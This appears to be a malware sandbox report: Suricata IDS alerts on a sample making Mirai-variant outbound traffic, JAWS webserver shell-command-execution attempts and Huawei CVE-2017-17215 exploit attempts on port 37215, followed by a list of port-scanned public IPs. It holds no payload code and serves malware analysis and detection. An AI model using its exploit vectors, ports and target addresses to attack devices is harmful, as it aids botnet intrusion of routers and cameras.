Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42216 -> 187.217.57.157:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42216 -> 187.217.57.157:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58502 -> 124.213.253.22:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56254 -> 197.238.134.50:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58502 -> 124.213.253.22:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50780 -> 160.118.116.204:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50780 -> 160.118.116.204:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45226 -> 199.48.240.26:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45226 -> 199.48.240.26:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47480 -> 197.246.98.86:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49198 -> 197.22.155.143:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40414 -> 41.144.60.9:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52296 -> 209.218.254.72:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52296 -> 209.218.254.72:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60380 -> 205.115.19.189:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60380 -> 205.115.19.189:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51650 -> 168.72.114.103:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51650 -> 168.72.114.103:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36380 -> 41.129.69.57:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:34876 -> 67.186.194.136:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:34876 -> 67.186.194.136:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47928 -> 156.131.124.110:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:38342 -> 156.92.173.159:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43834 -> 42.96.90.150:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43834 -> 42.96.90.150:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57268 -> 46.149.136.21:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57268 -> 46.149.136.21:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35828 -> 156.95.85.108:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47178 -> 153.109.96.159:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47178 -> 153.109.96.159:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51384 -> 41.56.183.22:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:49004 -> 197.202.167.131:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45208 -> 57.118.124.196:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45208 -> 57.118.124.196:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:55172 -> 197.20.66.176:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57086 -> 197.72.154.115:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54098 -> 51.31.14.4:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54098 -> 51.31.14.4:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49128 -> 95.38.48.223:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49128 -> 95.38.48.223:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59436 -> 107.254.106.99:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59436 -> 107.254.106.99:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38996 -> 155.188.236.83:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43788 -> 113.67.108.3:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56658 -> 84.216.136.52:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43788 -> 113.67.108.3:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45486 -> 145.12.51.102:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40134 -> 57.139.237.152:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45486 -> 145.12.51.102:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38400 -> 95.165.95.255:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40134 -> 57.139.237.152:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38400 -> 95.165.95.255:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54538 -> 113.149.205.76:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51090 -> 98.46.105.144:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54538 -> 113.149.205.76:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38996 -> 155.188.236.83:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49788 -> 12.231.107.108:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56658 -> 84.216.136.52:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57380 -> 66.32.129.43:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39860 -> 83.114.35.247:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49788 -> 12.231.107.108:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39860 -> 83.114.35.247:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59776 -> 2.68.142.1:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57380 -> 66.32.129.43:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59776 -> 2.68.142.1:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57430 -> 144.244.202.18:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57430 -> 144.244.202.18:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40986 -> 129.72.45.47:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51090 -> 98.46.105.144:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40986 -> 129.72.45.47:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47764 -> 156.0.134.95:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35038 -> 41.87.30.134:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42716 -> 197.215.236.202:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50768 -> 156.41.191.74:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46686 -> 197.157.34.149:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42246 -> 197.237.65.75:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:50438 -> 197.78.119.56:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:47618 -> 197.189.24.78:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45550 -> 197.68.104.92:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36864 -> 156.17.245.165:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51764 -> 36.206.184.29:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51764 -> 36.206.184.29:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36796 -> 156.66.157.15:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35458 -> 156.10.152.79:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51146 -> 118.197.22.2:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51146 -> 118.197.22.2:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:36186 -> 197.28.130.214:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42804 -> 41.121.213.165:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48224 -> 41.112.130.195:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48906 -> 156.8.192.184:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36786 -> 162.32.100.214:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56932 -> 41.76.137.36:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47838 -> 170.130.35.173:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55390 -> 184.91.46.132:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:44718 -> 197.142.165.222:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55390 -> 184.91.46.132:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:36856 -> 209.198.232.114:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36856 -> 209.198.232.114:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42604 -> 85.134.54.55:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39056 -> 41.150.245.66:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38360 -> 160.213.170.54:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38360 -> 160.213.170.54:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:36786 -> 162.32.100.214:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:59396 -> 197.84.129.212:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:51602 -> 126.230.82.208:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47838 -> 170.130.35.173:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44124 -> 37.163.200.224:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39916 -> 41.63.158.240:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44124 -> 37.163.200.224:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:48674 -> 41.63.137.244:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42010 -> 41.63.89.134:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:42338 -> 157.94.111.12:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40708 -> 156.48.134.66:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:51602 -> 126.230.82.208:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:32776 -> 41.222.2.131:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:51246 -> 41.19.18.139:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:60420 -> 156.98.201.36:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42338 -> 157.94.111.12:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39432 -> 41.116.81.247:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46630 -> 135.59.238.174:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:34264 -> 41.91.169.5:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33902 -> 41.56.90.100:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:42604 -> 85.134.54.55:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46630 -> 135.59.238.174:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:43308 -> 43.138.98.219:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:43308 -> 43.138.98.219:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53984 -> 185.139.205.4:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53984 -> 185.139.205.4:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35672 -> 54.36.196.205:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35672 -> 54.36.196.205:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:42288 -> 156.17.134.152:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39882 -> 156.112.195.101:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40738 -> 40.102.184.170:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40738 -> 40.102.184.170:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38572 -> 115.68.158.75:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38572 -> 115.68.158.75:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59980 -> 212.185.60.209:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59980 -> 212.185.60.209:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:58420 -> 41.0.163.33:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33494 -> 197.28.20.71:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54998 -> 41.41.166.255:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58302 -> 217.213.200.52:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58302 -> 217.213.200.52:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38322 -> 168.255.195.130:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:54570 -> 156.127.111.169:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.202.142.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.53.46.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.67.155.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.118.92.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.0.142.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.98.144.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.69.253.68 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.161.124.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.127.110.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.44.177.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.43.227.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.243.84.233 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.105.252.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.18.4.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.187.211.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.89.125.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.92.110.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.242.11.110 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.47.185.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.90.98.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.211.177.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.227.203.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.22.79.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.61.0.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.232.230.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.221.5.59 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.17.71.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.77.254.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.253.84.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.134.63.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.113.221.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.247.7.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.77.17.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.180.156.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.57.162.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.42.16.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.107.35.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.161.147.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.217.172.179 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.160.155.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.31.189.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.141.152.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.117.26.43 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.229.254.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.156.14.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.211.156.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.143.123.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.37.39.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.77.160.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.107.196.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.176.2.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.76.131.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.207.92.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.67.240.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.157.121.71 ports 1,2,3,5,7,37215
